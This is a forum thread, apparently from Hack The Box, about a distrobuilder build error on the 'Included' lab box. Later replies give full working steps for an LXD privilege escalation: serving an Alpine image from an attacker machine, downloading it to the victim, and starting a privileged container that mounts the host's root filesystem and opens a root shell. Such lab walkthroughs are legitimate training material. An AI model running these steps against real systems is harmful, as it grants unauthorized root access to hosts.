Starting point: Included, problem building Alpine

HTB Content
,
1

Hello there,

I am currently doing the Included box. Everything is going well until the point that I try to build the lxd Alpine image.

If I try to build. WIth the command: sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8

I get the following error:

Error: unknown command "build-lxd" for "distrobuilder"

Did you mean this?
        build-lxc

Run 'distrobuilder --help' for usage.
Failed running distrobuilder: unknown command "build-lxd" for "distrobuilder"

Did you mean this?
        build-lxc

So I tried to do it with build-lxc and it will build the image but the exploit doesnā€™t work that way it will also generate other files then the lxd.tar.xz rootfs.squashfs files that I should upload to the target machine.

Any idea what I am doing wrong or what I could do?

Thank you in advance.

1 Like
3

Literally having the same issue all day. I read in one other post that ā€œlxdā€ is no longer supported or something, and when typing in ā€œ./build-alpineā€, i get ā€œunsupported architecture: aarch64ā€. So not sure if itā€™s an issue because Iā€™m on a Mac host, using Kali as VM?

Not having any success installing an older version of distrobuilder (2.1)

Tried 3.9 image, still nothing.

Still keeping my eyes open but this post is the only one so far that is running to the exact same issue (rather than similar issues in other parts of the box).

** Edit **
I did manage to install Distrobuilder 2.0, which does support build-lxd command. But when trying to proceed with the box, i still get errors. Not sure if itā€™s some kind of compatibility error?

5

I donā€™t know what prompted you to be so nice to break down every step for meā€¦ but using the pwnbox and the commands you provided for it worked AMAZINGLY.

I spent an ungodly amount of time trying to figure it out. I try not to skip it to mimic real world scenario where you canā€™t just give up on a task. But you also really helped me find out the easiest way to get previous versions of github repositories.

Thank you so much!!!

@Singleday I hope what @hackernotone provided helps you too.

1 Like
6

Hello,

Iā€™m running into the same issue.

build-lxd is no longer supported in the 3.0 version of distrobuilder. Iā€™ve tried cloning the repo and checking out the 2.1 tag instead, which does still have the command, but it fails to build succesfully when I run ā€˜makeā€™ in the directory. Also tried it with snapd but thatā€™s running into a communications error.

Like user Singleday, I tried it with build-lxc instead, but this causes issues when running the lxc image import <files> --alias alpine command.

7

I have got the same problem on kali linux virtual box machineā€¦ Has anyone any idea what to do?

9

So I have figured it out.

Just checkout to
git checkout 5b05d03c354fe01bf25fe00674e530a30e5d8e13
before you execute the ā€œmakeā€ command
then rename the resulting file after executing the ā€œbuild-lxdā€ command
mv incus.tar.xz lxd.tar.xz
then continue the walkthrough

10

I did, didnt help

12

Sorry, I overlooked the pwnbox mentionā€¦ I didnt try pwnbox actually, only tried the image.release=3.9 on my VMā€¦

13

try building the img without distrobuilder, the steps would like smth like this.

on attacker machine:
sudo apt update
sudo apt install -y rsync tar squashfs-tools
mkdir -p ~/ContainerImages/alpine/rootfs
cd ~/ContainerImages/alpine
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
mksquashfs rootfs rootfs.squashfs -comp xz -noappend
mkdir -p metadata
nano metadata/metadata.yaml # (add yaml snippet here, from the bottom of this reply)
tar -cJf lxd.tar.xz -C metadata metadata.yaml
python3 -m http.server 8000

on victim machine:
wget http://yourIP:8000/lxd.tar.xz
wget http://yourIP:8000/rootfs.squashfs
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list
lxc init alpine privesc -c security.privileged=true
lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
lxc start privesc
lxc exec privesc /bin/sh

metadata.yaml (put the following in the yaml file)

architecture: x86_64
creation_date: 1704245556
properties:
description: ā€œAlpine Linux 3.18ā€
os: alpine
release: 3.18
variant: default

1 Like
15

Hey guys.
The reason for the errors are:

  1. The walkthrough instructions are incorrect
  2. (For users with Mac or other ARM devices) Youā€™re building an LXC image with the wrong architecture.

Building LXC image on an ARM processor (like M-series Macs) will fail to work on the target machine, as itā€™s an x86-64 processor.

Solutions:

  1. Build on an AMD64 device
  2. Download prebuilt from a trusted repo, instead of building this yourself.

Canonical LXD images repo

Prebuilt Alpine LXC images can be downloadedc from the Canonical LXD images archive:

https://images.lxd.canonical.com/

Version 3.18 ā†’ Index of /images/alpine/3.18/amd64/default/20241124_0023/

Steps to get working LXC image from Canonical repo

# Get the images via wget
# -- NOTE: can do this on the target machine, or on attacker machine 
# and then transfer it over via python3 http server. 
# See below
wget https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/20241124_0023/lxd.tar.xz .
wget https://images.lxd.canonical.com/images/alpine/3.18/amd64/default/20241124_0023/rootfs.squashfs .

# -- OPTIONAL: get these from attacker machine
# Serve the directory with Python3
python3 -m http.server 8080

# On target machine -- Get the files
wget ${attackerIp}/lxd.tar.xz
wget ${attackerIp}/rootfs.squashfs

# -- IMPORT LXC IMAGE
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine

Exploitation:

# Add privleged mode
lxc init alpine privesc -c security.privileged=true

# Mount the root disk
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true

# Run the container
lxc start privesc
lxc exec privesc /bin/sh

If this works for you, upvote it.
Thanks

1 Like
16

Thank you for this. It worked for me where other solution write ups did not. It is also simple and straight forward.

I did get a strange prompt when calling /bin/sh in which
^[[34;18R
was added after the # however it does not really stop one from getting the root flag.

17

Thanks for this, worked straight away for me.